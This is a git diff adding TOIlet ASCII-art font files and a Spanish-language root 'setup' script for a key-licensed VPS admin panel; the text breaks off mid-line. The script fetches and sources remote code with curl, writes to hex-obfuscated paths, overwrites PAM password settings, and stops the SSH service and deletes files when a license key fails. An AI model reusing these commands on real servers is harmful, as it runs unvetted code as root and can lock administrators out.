+┗┻┛WW +╻ ╻X +┏╋┛X +╹ ╹XX +╻ ╻Y +┗┳┛Y + ╹ YY +╺━┓Z +┏━┛Z +┗━╸ZZ +┏━ [ +┃ [ +┗━ [[ +╻ \ +┗┓\ + ╹\\ + ━┓] + ┃] + ━┛]] + @ + @ +^@@ + _ + _ +╺━╸__ + ┓` + ` + `` +┏━┓a +┣━┫a +╹ ╹aa +┏┓ b +┣┻┓b +┗━┛bb +┏━╸c +┃ c +┗━╸cc +╺┳┓d + ┃┃d +╺┻┛dd +┏━╸e +┣╸ e +┗━╸ee +┏━╸f +┣╸ f +╹ ff +┏━╸g +┃╺┓g +┗━┛gg +╻ ╻h +┣━┫h +╹ ╹hh +╻i +┃i +╹ii + ┏┓j + ┃j +┗━┛jj +╻┏ k +┣┻┓k +╹ ╹kk +╻ l +┃ l +┗━╸ll +┏┳┓m +┃┃┃m +╹ ╹mm +┏┓╻n +┃┗┫n +╹ ╹nn +┏━┓o +┃ ┃o +┗━┛oo +┏━┓p +┣━┛p +╹ pp +┏━┓q +┃┓┃q +┗┻┛qq +┏━┓r +┣┳┛r +╹┗╸rr +┏━┓s +┗━┓s +┗━┛ss +╺┳╸t + ┃ t + ╹ tt +╻ ╻u +┃ ┃u +┗━┛uu +╻ ╻v +┃┏┛v +┗┛ vv +╻ ╻w +┃╻┃w +┗┻┛ww +╻ ╻x +┏╋┛x +╹ ╹xx +╻ ╻y +┗┳┛y + ╹ yy +╺━┓z +┏━┛z +┗━╸zz + ┏╸{ +╺┫ { + ┗╸{{ +╻| +┃| +╹|| +╺┓ } + ┣╸} +╺┛ }} + ~ +┏━┛~ + ~~ +┏━┓┏━╸Ä +┣━┫┣╸ Ä +╹ ╹┗━╸ÄÄ +┏━┓┏━╸Ö +┃ ┃┣╸ Ö +┗━┛┗━╸ÖÖ +╻ ╻┏━╸Ü +┃ ┃┣╸ Ü +┗━┛┗━╸ÜÜ +┏━┓┏━╸ä +┣━┫┣╸ ä +╹ ╹┗━╸ää +┏━┓┏━╸ö +┃ ┃┣╸ ö +┗━┛┗━╸öö +╻ ╻┏━╸ü +┃ ┃┣╸ ü +┗━┛┗━╸üü +┏━┓┏━┓ß +┗━┓┗━┓ß +┗━┛┗━┛ßß +0x2500 ─ BOX DRAWINGS LIGHT HORIZONTAL + @ +━━━@ + @@ +0x2501 ━ BOX DRAWINGS HEAVY HORIZONTAL + @ +■■■@ + @@ +0x2502 │ BOX DRAWINGS LIGHT VERTICAL + ┃ @ + ┃ @ + ┃@@ +0x2503 ┃ BOX DRAWINGS HEAVY VERTICAL + █ @ + █ @ + █@@ +0x250C ┌ BOX DRAWINGS LIGHT DOWN AND RIGHT + @ + ┏━@ + ┃ @@ +0x250F ┏ BOX DRAWINGS HEAVY DOWN AND RIGHT + @ + ▄■@ + █ @@ +0x2510 ┐ BOX DRAWINGS LIGHT DOWN AND LEFT + @ +━┓ @ + ┃@@ +0x2513 ┓ BOX DRAWINGS HEAVY DOWN AND LEFT + @ +■▄ @ + █@@ +0x2514 └ BOX DRAWINGS LIGHT UP AND RIGHT + ┃ @ + ┗━@ + @@ +0x2517 ┗ BOX DRAWINGS HEAVY UP AND RIGHT + █ @ + ▀■@ + @@ +0x2518 ┘ BOX DRAWINGS LIGHT UP AND LEFT + ┃ @ +━┛ @ + @@ +0x251B ┛ BOX DRAWINGS HEAVY UP AND LEFT + █ @ +■▀ @ + @@ +0x251c ├ BOX DRAWINGS LIGHT VERTICAL AND RIGHT + ┃ @ + ┣━@ + ┃ @@ +0x2523 ┣ BOX DRAWINGS HEAVY VERTICAL AND RIGHT + █ @ + █■@ + █ @@ +0x2524 ┤ BOX DRAWINGS LIGHT VERTICAL AND LEFT + ┃ @ +━┫ @ + ┃@@ +0x252B ┫ BOX DRAWINGS HEAVY VERTICAL AND LEFT + █ @ +■█ @ + █@@ +0x252c ┬ BOX DRAWINGS LIGHT DOWN AND HORIZONTAL + @ +━┳━@ + ┃ @@ +0x2533 ┳ BOX DRAWINGS HEAVY DOWN AND HORIZONTAL + @ +■▄■@ + █ @@ +0x2534 ┴ BOX DRAWINGS LIGHT UP AND HORIZONTAL + ┃ @ +━┻━@ + @@ +0x253B ┻ BOX DRAWINGS HEAVY UP AND HORIZONTAL + █ @ +■▀■@ + @@ +0x253c ┼ BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL + ┃ @ +━╋━@ + ┃ @@ +0x254B ╋ BOX DRAWINGS HEAVY VERTICAL AND HORIZONTAL + █ @ +■█■@ + █ @@ +0x2578 ╸ BOX DRAWINGS HEAVY LEFT + @ +■■ @ + @@ +0x2579 ╹ BOX DRAWINGS HEAVY UP + █ @ + ▀ @ + @@ +0x257A ╺ BOX DRAWINGS HEAVY RIGHT + @ + ■■@ + @@ +0x257B ╻ BOX DRAWINGS HEAVY DOWN + @ + ▄ @ + █@@ +0x2580 ▀ UPPER HALF BLOCK +███@ +▀▀▀@ + @@ +0x2584 ▄ LOWER HALF BLOCK + @ +▄▄▄@ +███@ +0x2588 █ FULL BLOCK +███@ +███@ +███@@ +0x25A0 ■ BLACK SQUARE +▄▄▄@ +███@ +▀▀▀@@ +0x5350 卐 CJK UNIFIED IDEOGRAPH-5350 +╻┏╸@ +┗╋┓@ +╺┛╹@@ +0x534D 卍 CJK UNIFIED IDEOGRAPH-534D +╺┓╻@ +┏╋┛@ +╹┗╸@@ diff --git a/otros/fonts/pagga.tlf b/otros/fonts/pagga.tlf new file mode 100644 index 0000000..c78de32 --- /dev/null +++ b/otros/fonts/pagga.tlf @@ -0,0 +1,534 @@ +tlf2a$ 3 3 8 0 15 0 64 0 +=============================================================================== + This is pagga.tlf, or “Pagga”, by Sam Hocevar and pagga. + + 2010/01/17 -- Sam Hocevar + font creation, all base characters + + This font is free software. It comes without any warranty, to the extent +permitted by applicable law. You can redistribute it and/or modify it under +the terms of the Do What The Fuck You Want To Public License, Version 2, +as published by Sam Hocevar. See http://sam.zoy.org/wtfpl/COPYING for more +details. + + This font is part of TOIlet’s official distribution. More information +on the TOIlet website at http://caca.zoy.org/wiki/toilet +=============================================================================== +░░@ +░░@ +░░@@ +░█@ +░▀@ +░▀@@ +░▀░▀@ +░░░░@ +░░░░@@ +░▄█▄█▄@ +░▄█▄█▄@ +░░▀░▀░@@ +░▄█▀@ +░▀██@ +░▀▀░@@ +░▀░█@ +░▄▀░@ +░▀░▀@@ +░▄▀░@ +░▄█▀@ +░░▀▀@@ +░▀@ +░░@ +░░@@ +░▄▀░@ +░█░░@ +░░▀░@@ +░▀▄░@ +░░█░@ +░▀░░@@ +░▄░▄@ +░▄█▄@ +░▄▀▄@@ +░░░░@ +░▄█▄@ +░░▀░@@ +░░░░@ +░░░░@ +░▄▀░@@ +░░░░@ +░▄▄▄@ +░░░░@@ +░░░@ +░░░@ +░▀░@@ +░░░█@ +░▄▀░@ +░▀░░@@ +░▄▀▄@ +░█/█@ +░░▀░@@ +░▀█░@ +░░█░@ +░▀▀▀@@ +░▀▀▄@ +░▄▀░@ +░▀▀▀@@ +░▀▀█@ +░░▀▄@ +░▀▀░@@ +░█░█@ +░░▀█@ +░░░▀@@ +░█▀▀@ +░▀▀▄@ +░▀▀░@@ +░▄▀▀@ +░█▀▄@ +░░▀░@@ +░▀▀█@ +░▄▀░@ +░▀░░@@ +░▄▀▄@ +░▄▀▄@ +░░▀░@@ +░▄▀▄@ +░░▀█@ +░▀▀░@@ +░░░░@ +░░▀░@ +░░▀░@@ +░░░░@ +░░▀░@ +░▄▀░@@ +░░▄▀@ +░▀▄░@ +░░░▀@@ +░░░░@ +░▀▀▀@ +░▀▀▀@@ +░▀▄░@ +░░▄▀@ +░▀░░@@ +░▀▀█@ +░░▀░@ +░░▀░@@ +░▄▀▄@ +░█▀▀@ +░░▀░@@ +░█▀█@ +░█▀█@ +░▀░▀@@ +░█▀▄@ +░█▀▄@ +░▀▀░@@ +░█▀▀@ +░█░░@ +░▀▀▀@@ +░█▀▄@ +░█░█@ +░▀▀░@@ +░█▀▀@ +░█▀▀@ +░▀▀▀@@ +░█▀▀@ +░█▀▀@ +░▀░░@@ +░█▀▀@ +░█░█@ +░▀▀▀@@ +░█░█@ +░█▀█@ +░▀░▀@@ +░▀█▀@ +░░█░@ +░▀▀▀@@ +░▀▀█@ +░░░█@ +░▀▀░@@ +░█░█@ +░█▀▄@ +░▀░▀@@ +░█░░@ +░█░░@ +░▀▀▀@@ +░█▄█@ +░█░█@ +░▀░▀@@ +░█▀█@ +░█░█@ +░▀░▀@@ +░█▀█@ +░█░█@ +░▀▀▀@@ +░█▀█@ +░█▀▀@ +░▀░░@@ +░▄▀▄@ +░█\█@ +░░▀\@@ +░█▀▄@ +░█▀▄@ +░▀░▀@@ +░█▀▀@ +░▀▀█@ +░▀▀▀@@ +░▀█▀@ +░░█░@ +░░▀░@@ +░█░█@ +░█░█@ +░▀▀▀@@ +░█░█@ +░▀▄▀@ +░░▀░@@ +░█░█@ +░█▄█@ +░▀░▀@@ +░█░█@ +░▄▀▄@ +░▀░▀@@ +░█░█@ +░░█░@ +░░▀░@@ +░▀▀█@ +░▄▀░@ +░▀▀▀@@ +░█▀░@ +░█░░@ +░▀▀░@@ +░█░░@ +░░▀▄@ +░░░▀@@ +░▀█░@ +░░█░@ +░▀▀░@@ +░▄▀▄@ +░░░░@ +░░░░@@ +░░░░@ +░░░░@ +░▀▀▀@@ +░▀▄@ +░░░@ +░░░@@ +░█▀█@ +░█▀█@ +░▀░▀@@ +░█▀▄@ +░█▀▄@ +░▀▀░@@ +░█▀▀@ +░█░░@ +░▀▀▀@@ +░█▀▄@ +░█░█@ +░▀▀░@@ +░█▀▀@ +░█▀▀@ +░▀▀▀@@ +░█▀▀@ +░█▀▀@ +░▀░░@@ +░█▀▀@ +░█░█@ +░▀▀▀@@ +░█░█@ +░█▀█@ +░▀░▀@@ +░▀█▀@ +░░█░@ +░▀▀▀@@ +░▀▀█@ +░░░█@ +░▀▀░@@ +░█░█@ +░█▀▄@ +░▀░▀@@ +░█░░@ +░█░░@ +░▀▀▀@@ +░█▄█@ +░█░█@ +░▀░▀@@ +░█▀█@ +░█░█@ +░▀░▀@@ +░█▀█@ +░█░█@ +░▀▀▀@@ +░█▀█@ +░█▀▀@ +░▀░░@@ +░▄▀▄@ +░█\█@ +░░▀\@@ +░█▀▄@ +░█▀▄@ +░▀░▀@@ +░█▀▀@ +░▀▀█@ +░▀▀▀@@ +░▀█▀@ +░░█░@ +░░▀░@@ +░█░█@ +░█░█@ +░▀▀▀@@ +░█░█@ +░▀▄▀@ +░░▀░@@ +░█░█@ +░█▄█@ +░▀░▀@@ +░█░█@ +░▄▀▄@ +░▀░▀@@ +░█░█@ +░░█░@ +░░▀░@@ +░▀▀█@ +░▄▀░@ +░▀▀▀@@ +░░█▀@ +░▀▄░@ +░░▀▀@@ +░░█░@ +░░█░@ +░░▀░@@ +░▀█░@ +░░▄▀@ +░▀▀░@@ +░▄▀▄▀@ +░░░░░@ +░░░░░@@ +░█▀█@ +░█▀█@ +░▀░▀@@ +░█▀█@ +░█░█@ +░▀▀▀@@ +░█░█@ +░█░█@ +░▀▀▀@@ +░█▀█@ +░█▀█@ +░▀░▀@@ +░█▀█@ +░█░█@ +░▀▀▀@@ +░█░█@ +░█░█@ +░▀▀▀@@ +░█▀▀░█▀▀@ +░▀▀█░▀▀█@ +░▀▀▀░▀▀▀@@ +0x00C0 À LATIN CAPITAL LETTER A WITH GRAVE +░█▀█@ +░█▀█@ +░▀░▀@@ +0x00C1 Á LATIN CAPITAL LETTER A WITH ACUTE +░█▀█@ +░█▀█@ +░▀░▀@@ +0x00C2  LATIN CAPITAL LETTER A WITH CIRCUMFLEX +░█▀█@ +░█▀█@ +░▀░▀@@ +0x00C3 à LATIN CAPITAL LETTER A WITH TILDE +░█▀█@ +░█▀█@ +░▀░▀@@ +0x00C5 Å LATIN CAPITAL LETTER A WITH RING ABOVE +░█▀█@ +░█▀█@ +░▀░▀@@ +0x00C6 Æ LATIN CAPITAL LETTER AE +░█▀█▀▀@ +░█▀█▀▀@ +░▀░▀▀▀@@ +0x00C7 Ç LATIN CAPITAL LETTER C WITH CEDILLA +░█▀▀@ +░█░░@ +░▀▀▀@@ +0x00C8 È LATIN CAPITAL LETTER E WITH GRAVE +░█▀▀@ +░█▀▀@ +░▀▀▀@@ +0x00C9 É LATIN CAPITAL LETTER E WITH ACUTE +░█▀▀@ +░█▀▀@ +░▀▀▀@@ +0x00CA Ê LATIN CAPITAL LETTER E WITH CIRCUMFLEX +░█▀▀@ +░█▀▀@ +░▀▀▀@@ +0x00CB Ë LATIN CAPITAL LETTER E WITH DIAERESIS +░█▀▀@ +░█▀▀@ +░▀▀▀@@ +0x00CC Ì LATIN CAPITAL LETTER I WITH GRAVE +░▀█▀@ +░░█░@ +░▀▀▀@@ +0x00CD Í LATIN CAPITAL LETTER I WITH ACUTE +░▀█▀@ +░░█░@ +░▀▀▀@@ +0x00CE Î LATIN CAPITAL LETTER I WITH CIRCUMFLEX +░▀█▀@ +░░█░@ +░▀▀▀@@ +0x00CF Ï LATIN CAPITAL LETTER I WITH DIAERESIS +░▀█▀@ +░░█░@ +░▀▀▀@@ +0x00D1 Ñ LATIN CAPITAL LETTER N WITH TILDE +░█▀█@ +░█░█@ +░▀░▀@@ +0x00D2 Ò LATIN CAPITAL LETTER O WITH GRAVE +░█▀█@ +░█░█@ +░▀▀▀@@ +0x00D3 Ó LATIN CAPITAL LETTER O WITH ACUTE +░█▀█@ +░█░█@ +░▀▀▀@@ +0x00D4 Ô LATIN CAPITAL LETTER O WITH CIRCUMFLEX +░█▀█@ +░█░█@ +░▀▀▀@@ +0x00D5 Õ LATIN CAPITAL LETTER O WITH TILDE +░█▀█@ +░█░█@ +░▀▀▀@@ +0x00D8 Ø LATIN CAPITAL LETTER O WITH STROKE +░█▀█@ +░█░█@ +░▀▀▀@@ +0x00D9 Ù LATIN CAPITAL LETTER U WITH GRAVE +░█░█@ +░█░█@ +░▀▀▀@@ +0x00DA Ú LATIN CAPITAL LETTER U WITH ACUTE +░█░█@ +░█░█@ +░▀▀▀@@ +0x00DB Û LATIN CAPITAL LETTER U WITH CIRCUMFLEX +░█░█@ +░█░█@ +░▀▀▀@@ +0x00DD Ý LATIN CAPITAL LETTER Y WITH ACUTE +░█░█@ +░░█░@ +░░▀░@@ +0x00E0 à LATIN SMALL LETTER A WITH GRAVE +░█▀█@ +░█▀█@ +░▀░▀@@ +0x00E1 á LATIN SMALL LETTER A WITH ACUTE +░█▀█@ +░█▀█@ +░▀░▀@@ +0x00E2 â LATIN SMALL LETTER A WITH CIRCUMFLEX +░█▀█@ +░█▀█@ +░▀░▀@@ +0x00E3 ã LATIN SMALL LETTER A WITH TILDE +░█▀█@ +░█▀█@ +░▀░▀@@ +0x00E5 å LATIN SMALL LETTER A WITH RING ABOVE +░█▀█@ +░█▀█@ +░▀░▀@@ +0x00E6 æ LATIN SMALL LETTER AE +░█▀█▀▀@ +░█▀█▀▀@ +░▀░▀▀▀@@ +0x00E7 ç LATIN SMALL LETTER C WITH CEDILLA +░█▀▀@ +░█░░@ +░▀▀▀@@ +0x00E8 è LATIN SMALL LETTER E WITH GRAVE +░█▀▀@ +░█▀▀@ +░▀▀▀@@ +0x00E9 é LATIN SMALL LETTER E WITH ACUTE +░█▀▀@ +░█▀▀@ +░▀▀▀@@ +0x00EA ê LATIN SMALL LETTER E WITH CIRCUMFLEX +░█▀▀@ +░█▀▀@ +░▀▀▀@@ +0x00EB ë LATIN SMALL LETTER E WITH DIAERESIS +░█▀▀@ +░█▀▀@ +░▀▀▀@@ +0x00EC ì LATIN SMALL LETTER I WITH GRAVE +░▀█▀@ +░░█░@ +░▀▀▀@@ +0x00ED í LATIN SMALL LETTER I WITH ACUTE +░▀█▀@ +░░█░@ +░▀▀▀@@ +0x00EE î LATIN SMALL LETTER I WITH CIRCUMFLEX +░▀█▀@ +░░█░@ +░▀▀▀@@ +0x00EF ï LATIN SMALL LETTER I WITH DIAERESIS +░▀█▀@ +░░█░@ +░▀▀▀@@ +0x00F1 ñ LATIN SMALL LETTER N WITH TILDE +░█▀█@ +░█░█@ +░▀░▀@@ +0x00F2 ò LATIN SMALL LETTER O WITH GRAVE +░█▀█@ +░█░█@ +░▀▀▀@@ +0x00F3 ó LATIN SMALL LETTER O WITH ACUTE +░█▀█@ +░█░█@ +░▀▀▀@@ +0x00F4 ô LATIN SMALL LETTER O WITH CIRCUMFLEX +░█▀█@ +░█░█@ +░▀▀▀@@ +0x00F5 õ LATIN SMALL LETTER O WITH TILDE +░█▀█@ +░█░█@ +░▀▀▀@@ +0x00F8 ø LATIN SMALL LETTER O WITH STROKE +░█▀█@ +░█░█@ +░▀▀▀@@ +0x00F9 ù LATIN SMALL LETTER U WITH GRAVE +░█░█@ +░█░█@ +░▀▀▀@@ +0x00FA ú LATIN SMALL LETTER U WITH ACUTE +░█░█@ +░█░█@ +░▀▀▀@@ +0x00FB û LATIN SMALL LETTER U WITH CIRCUMFLEX +░█░█@ +░█░█@ +░▀▀▀@@ +0x00FC ü LATIN SMALL LETTER U WITH DIAERESIS +░█░█@ +░█░█@ +░▀▀▀@@ +0x00FD ý LATIN SMALL LETTER Y WITH ACUTE +░█░█@ +░░█░@ +░░▀░@@ +0x00FF ÿ LATIN SMALL LETTER Y WITH DIAERESIS +░█░█@ +░░█░@ +░░▀░@@ +0x0153 œ LATIN SMALL LIGATURE OE +░█▀█▀▀@ +░█░█▀▀@ +░▀▀▀▀▀@@ diff --git a/otros/fonts/wideterm.tlf b/otros/fonts/wideterm.tlf new file mode 100644 index 0000000..5ba5077 --- /dev/null +++ b/otros/fonts/wideterm.tlf @@ -0,0 +1,132 @@ +tlf2a 1 1 3 -1 15 0 0 0 +=============================================================================== + This is wideterm.tlf, or “WideTerm”, by Sam Hocevar . It was +created on August 2nd, 2007. + + This font is free software. It comes without any warranty, to the extent +permitted by applicable law. You can redistribute it and/or modify it under +the terms of the Do What The Fuck You Want To Public License, Version 2, +as published by Sam Hocevar. See http://sam.zoy.org/wtfpl/COPYING for more +details. + + Missing: Ä Ö Ü ä ö ü ß + + This font is part of TOIlet’s official distribution. More information +on the TOIlet website at http://caca.zoy.org/wiki/toilet +=============================================================================== +@ +!! +"" +## +$$ +%% +&& +'' +(( +)) +** +++ +,, +-- +.. +// +00 +11 +22 +33 +44 +55 +66 +77 +88 +99 +:: +;; +<< +== +>> +?? +@@ +AA +BB +CC +DD +EE +FF +GG +HH +II +JJ +KK +LL +MM +NN +OO +PP +QQ +RR +SS +TT +UU +VV +WW +XX +YY +ZZ +[[ +\\ +]] +^^ +__ +`` +aa +bb +cc +dd +ee +ff +gg +hh +ii +jj +kk +ll +mm +nn +oo +pp +qq +rr +ss +tt +uu +vv +ww +xx +yy +zz +{{ +|| +}} +~~ +Ä@ +Ö@ +Ü@ +ä@ +ö@ +ü@ +ß@ +0x00a2 ¢ CENT SIGN +¢@ +0x00a3 £ POUND SIGN +£@ +0x00ac ¬ NOT SIGN +¬@ +0x00af ¯ MACRON + ̄@ +0x00a6 ¦ BROKEN BAR +¦@ +0x00a5 ¥ YEN SIGN +¥@ +0x20a9 ₩ WON SIGN +₩@ diff --git a/setup b/setup new file mode 100644 index 0000000..35283c5 --- /dev/null +++ b/setup @@ -0,0 +1,489 @@ +#!/bin/bash + +apt --fix-broken install +dpkg --configure -a +export PATH=$PATH:/usr/sbin:/usr/local/sbin:/usr/local/bin:/usr/bin:/sbin:/bin:/usr/games; +fecha=`date +"%d-%m-%y"`; +SCPdir="/etc/adm-lite" +SCPinstal="$HOME/install" + +rm -f instala.* +[[ -e /etc/folteto ]] && rm -f /etc/folteto +[[ -e /bin/ejecutar/IPcgh ]] && rm -f /bin/ejecutar/IPcgh +[[ ! -z $1 ]] && { +[[ "$1" == '--ADMcgh' ]] && echo -e " ESPERE UN MOMENTO $1" || { + +exit&&exit +} +rm -f wget* +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || apt-get install curl -y &>/dev/null +dpkg-reconfigure --frontend noninteractive tzdata >/dev/null 2>&1 +[[ $(dpkg --get-selections|grep -w "sudo"|head -1) ]] || apt install sudo -y &> /dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || apt install curl -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "uuid-runtime"|head -1) ]] || apt-get install uuid-runtime -y &>/dev/null +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) +_double=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT") +COLS=$(tput cols) +os_system(){ + system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/ //') + distro=$(echo "$system"|awk '{print $1}') + case $distro in + Debian) vercion=$(echo $system|awk '{print $3}'|cut -d '.' -f1);; + Ubuntu) vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2);; + esac + link="https://raw.githubusercontent.com/emirjorge/Script-Z/master/Repositorios/${vercion}.list" + #case $vercion in + #8|9|10|11|16.04|18.04|20.04|20.10|21.04|21.10|22.04)wget -O /etc/apt/sources.list ${link} &>/dev/null;; + #esac + } + +rutaSCRIPT () { +rm -f setup* +act_ufw() { +[[ -f "/usr/sbin/ufw" ]] && ufw allow 81/tcp ; ufw allow 8888/tcp +} +#[[ -z $(cat /etc/resolv.conf | grep "8.8.8.8") ]] && echo "nameserver 8.8.8.8" >> /etc/resolv.conf +#[[ -z $(cat /etc/resolv.conf | grep "1.1.1.1") ]] && echo "nameserver 1.1.1.1" >> /etc/resolv.conf +cd $HOME +fun_ip () { +MIP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MIP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MIP" != "$MIP2" ]] && IP="$MIP2" || IP="$MIP" +} + +fun_install () { +clear +[[ -z ${IP} ]] && IP=$(wget -qO- ipv4.icanhazip.com) +#Key="$(cat /etc/cghkey)" +Key="$1" +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +[[ ! -e /file ]] && wget -q -O /file https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT +_double=$(cat < /file) +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ -z ${_check2} ]] && { +invalid_key '--ban' +} || { +[[ -e /etc/adm-lite/cabecalho ]] && source <(curl -sSL 'https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Complementos/BaseInstall') '--finish' +#[[ -e /etc/adm-lite/cabecalho ]] && source autoStart.sh '--finish' +} +msg -bar3 +cd $HOME +[[ -e $HOME/lista ]] && rm -f $HOME/lista* +[[ -d ${SCPinstal} ]] && rm -rf ${SCPinstal} +} +## root check +if ! [ $(id -u) = 0 ]; then +clear + echo "" + echo " ====================================================" + echo " �21�21�21 Error Fatal!! x000e1 �21�21�21" + echo " ====================================================" + echo " �40 Este script debe ejecutarse como root! �40" + + echo " Como Solucionarlo " + + echo " Ejecute el script as�:" + echo " �30 �31 " + echo " ( sudo -i )" + echo " sudo su" + echo " Retornando . . ." + echo $(date) + exit +fi + + +function_verify () { +echo "verify" > $(echo -e $(echo 2f62696e2f766572696679737973|sed 's/../\\x&/g;s/$/ /')) +echo 'MOD @drowkid01 ChuKK-SCRIPT' > $(echo -e $(echo 2F7573722F6C69622F6C6963656E6365|sed 's/../\\x&/g;s/$/ /')) +[[ $(dpkg --get-selections|grep -w "libpam-cracklib"|head -1) ]] || apt-get install libpam-cracklib -y &> /dev/null +echo -e '# Modulo @drowkid01 +password [success=1 default=ignore] pam_unix.so obscure sha512 +password requisite pam_deny.so +password required pam_permit.so' > /etc/pam.d/common-password && chmod +x /etc/pam.d/common-password +# - Deshabilitamos ipv6 permantente +sysctl -w net.ipv6.conf.all.disable_ipv6=1 && sysctl -p +echo 'net.ipv6.conf.all.disable_ipv6 = 1' > /etc/sysctl.d/70-disable-ipv6.conf +sysctl -p -f /etc/sysctl.d/70-disable-ipv6.conf +} + +verificar_arq () { +[[ ! -d ${SCPdir} ]] && mkdir ${SCPdir} +mv -f ${SCPinstal}/$1 ${SCPdir}/$1 && chmod +x ${SCPdir}/$1 +} +fun_ip + +error_conex () { +[[ -e $HOME/lista-arq ]] && list_fix="$(cat < $HOME/lista-arq)" || list_fix="" +msg -bar3 +echo -e "\033[41m -- SISTEMA ACTUAL $(lsb_release -si) $(lsb_release -sr) --" +[[ "$list_fix" = "" ]] && { +msg -bar3 +echo -e " ERROR (PORT 8888 TCP) ENTRE GENERADOR <--> VPS " +echo -e " NO EXISTE CONEXION ENTRE EL GENERADOR " +echo -e " - \e[3;32mGENERADOR O KEYGEN COLAPZADO\e[0m - " +msg -bar3 +echo -e " - DIRIGETE AL BOT Y ESCRIBE /restart " +echo -e " - Y REINTENTA NUEVAMENTE CON SU KEY " +msg -bar3 +} +invalid_key +} + +invalid_key () { +[[ $1 == '--ban' ]] && { +cd $HOME +service ssh stop +[[ -e ${SCPinstal} ]] && rm -rf ${SCPinstal} +[[ -d $HOME/chumogh ]] && rm -rf $HOME/chumogh +[[ -d ${SCPdir} ]] && rm -rf ${SCPdir} +[[ -d $HOME/chumogh ]] && rm -rf $HOME/chumogh +[[ -e /bin/menu ]] && rm /bin/menu +[[ -e $HOME/chumogh ]] && rm -rf $HOME/chumogh +[[ -e $HOME/log.txt ]] && rm -f $HOME/log.txt +[[ -e /bin/troj.sh ]] && rm -f /bin/troj.sh +[[ -e /bin/v2r.sh ]] && rm -f /bin/v2r.sh +[[ -e /bin/clash.sh ]] && rm -f /bin/clash.sh +rm -f instala.* > /dev/null +rm -f /bin/cgh > /dev/null +rm -rf /bin/ejecutar > /dev/null +figlet " Key Invalida" | boxes -d stone -p a2v1 > error.log +msg -bar3 >> error.log +echo " KEY NO PERMITIDA, ADQUIERE UN RESELLER OFICIAL" >> error.log +echo " ----------------------------------------------" >> error.log +echo " KEY NO PERMITIDA, ADQUIERE UN RESELLER OFICIAL" >> error.log +echo " ----------------------------------------------" >> error.log +echo -e ' https://t.me/drowkid01 @drowkid01' >> error.log +msg -bar3 >> error.log +cat error.log | lolcat +exit&&exit&&exit&&exit +} +[[ -e $HOME/lista-arq ]] && list_fix="$(cat < $HOME/lista-arq)" || list_fix='' +echo -e ' ' +msg -bar3 +#echo -e "\033[41m -- SISTEMA ACTUAL $(lsb_release -si) $(lsb_release -sr) --" +echo -e " \033[41m-- CPU :$(lscpu | grep "Vendor ID" | awk '{print $3}') SISTEMA : $(lsb_release -si) $(lsb_release -sr) --" +[[ "$list_fix" = "" ]] && { +msg -bar3 +echo -e " ERROR (PORT 8888 TCP) ENTRE GENERADOR <--> VPS " +echo -e " NO EXISTE CONEXION ENTRE EL GENERADOR " +echo -e " - \e[3;32mGENERADOR O KEYGEN COLAPSADO\e[0m - " +msg -bar3 +echo -e " - DIRIGETE AL BOT Y ESCRIBE /restart " +echo -e " - Y REINTENTA NUEVAMENTE CON SU KEY " +msg -bar3 +} +[[ "$list_fix" = "KEY INVALIDA!" ]] && { +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +cheklist="$(curl -sSL $IiP:81/ChumoGH/checkIP.log)" +chekIP="$(echo -e "$cheklist" | grep ${Key} | awk '{print $3}')" +chekDATE="$(echo -e "$cheklist" | grep ${Key} | awk '{print $7}')" +msg -bar3 +echo "" +[[ ! -z ${chekIP} ]] && { +varIP=$(echo ${chekIP}| sed 's/[1-5]/X/g') +msg -verm " KEY USADA POR IP : ${varIP} \n DATE: ${chekDATE} ! " +echo "" +msg -bar3 +} || { +echo -e " PRUEBA COPIAR BIEN TU KEY " +[[ $(echo "$(ofus "$Key"|cut -d'/' -f2)" | wc -c ) = 18 ]] && echo -e "" || echo -e "\033[1;31m CONTENIDO DE LA KEY ES INCORRECTO" +echo -e " KEY NO COINCIDE CON EL CODEX DEL ADM " +msg -bar3 +tput cuu1 && tput dl1 +} +} +msg -bar3 +[[ $(echo "$(ofus "$Key"|cut -d'/' -f2)" | wc -c ) = 18 ]] && echo -e "" || echo -e "\033[1;31m CONTENIDO DE LA KEY ES INCORRECTO" +[[ -e $HOME/lista-arq ]] && rm $HOME/lista-arq +cd $HOME +[[ -e ${SCPinstal} ]] && rm -rf ${SCPinstal} +[[ -d $HOME/chumogh ]] && rm -rf $HOME/chumogh +[[ -d ${SCPdir} ]] && rm -rf ${SCPdir} +[[ -d $HOME/chumogh ]] && rm -rf $HOME/chumogh +[[ -e /bin/menu ]] && rm /bin/menu +[[ -e $HOME/chumogh ]] && rm -rf $HOME/chumogh +[[ -e $HOME/log.txt ]] && rm -f $HOME/log.txt +[[ -e /bin/troj.sh ]] && rm -f /bin/troj.sh +[[ -e /bin/v2r.sh ]] && rm -f /bin/v2r.sh +[[ -e /bin/clash.sh ]] && rm -f /bin/clash.sh +rm -f instala.* > /dev/null +rm -f /bin/cgh > /dev/null +rm -rf /bin/ejecutar > /dev/null +figlet " Key Invalida" | boxes -d stone -p a2v1 > error.log +msg -bar3 >> error.log +echo " Key Invalida, Contacta con tu Provehedor" >> error.log +echo -e ' https://t.me/drowkid1 - @drowkid01' >> error.log +msg -bar3 >> 